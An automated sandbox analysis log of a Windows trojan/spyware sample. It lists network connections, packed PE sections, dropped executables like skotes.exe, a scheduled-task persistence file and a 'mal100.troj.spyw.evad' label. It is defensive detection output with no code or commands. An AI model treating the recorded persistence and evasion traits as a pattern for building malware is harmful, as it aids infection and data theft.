Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49461
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.76:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.76:443 -> 192.168.2.5:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:50073 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsDBAAFIDGDA.exe.0.dr	Static PE information: section name:
Source: DocumentsDBAAFIDGDA.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: f7b9aebad7.exe.25.dr	Static PE information: section name:
Source: f7b9aebad7.exe.25.dr	Static PE information: section name: .rsrc
Source: f7b9aebad7.exe.25.dr	Static PE information: section name: .idata
Source: f7b9aebad7.exe.25.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280

Source: C:\Users\user\DocumentsDBAAFIDGDA.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: 21_2_00C978BB	21_2_00C978BB
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: 21_2_00C97049	21_2_00C97049
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: 21_2_00C98860	21_2_00C98860
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: 21_2_00C931A8	21_2_00C931A8
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: 21_2_00D68101	21_2_00D68101
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: 21_2_00C54B30	21_2_00C54B30
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: 21_2_00C54DE0	21_2_00C54DE0
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: 21_2_00C92D10	21_2_00C92D10
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: 21_2_00C9779B	21_2_00C9779B
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: 21_2_00C87F36	21_2_00C87F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_007F8860	22_2_007F8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_007F7049	22_2_007F7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_007F78BB	22_2_007F78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_007F31A8	22_2_007F31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_007B4B30	22_2_007B4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_007F2D10	22_2_007F2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_007B4DE0	22_2_007B4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_007E7F36	22_2_007E7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_007F779B	22_2_007F779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007F8860	23_2_007F8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007F7049	23_2_007F7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007F78BB	23_2_007F78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007F31A8	23_2_007F31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007B4B30	23_2_007B4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007F2D10	23_2_007F2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007B4DE0	23_2_007B4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007E7F36	23_2_007E7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007F779B	23_2_007F779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007C80C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007CDF80 appears 36 times
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: String function: 00C680C0 appears 130 times

Source: random[1].exe.0.dr	Static PE information: Data appended to the last section found
Source: f7b9aebad7.exe.25.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2552351389.000000006C8D5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2545619670.0000000023C5C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: pxqeommn ZLIB complexity 0.9949065801740211
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981025019778481
Source: random[1].exe.0.dr	Static PE information: Section: bimhgoda ZLIB complexity 0.9929387019230769
Source: f7b9aebad7.exe.25.dr	Static PE information: Section: ZLIB complexity 0.9981025019778481
Source: f7b9aebad7.exe.25.dr	Static PE information: Section: bimhgoda ZLIB complexity 0.9929387019230769

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@74/305@30/28

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\690TAJHQ.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8928:120:WilError_03
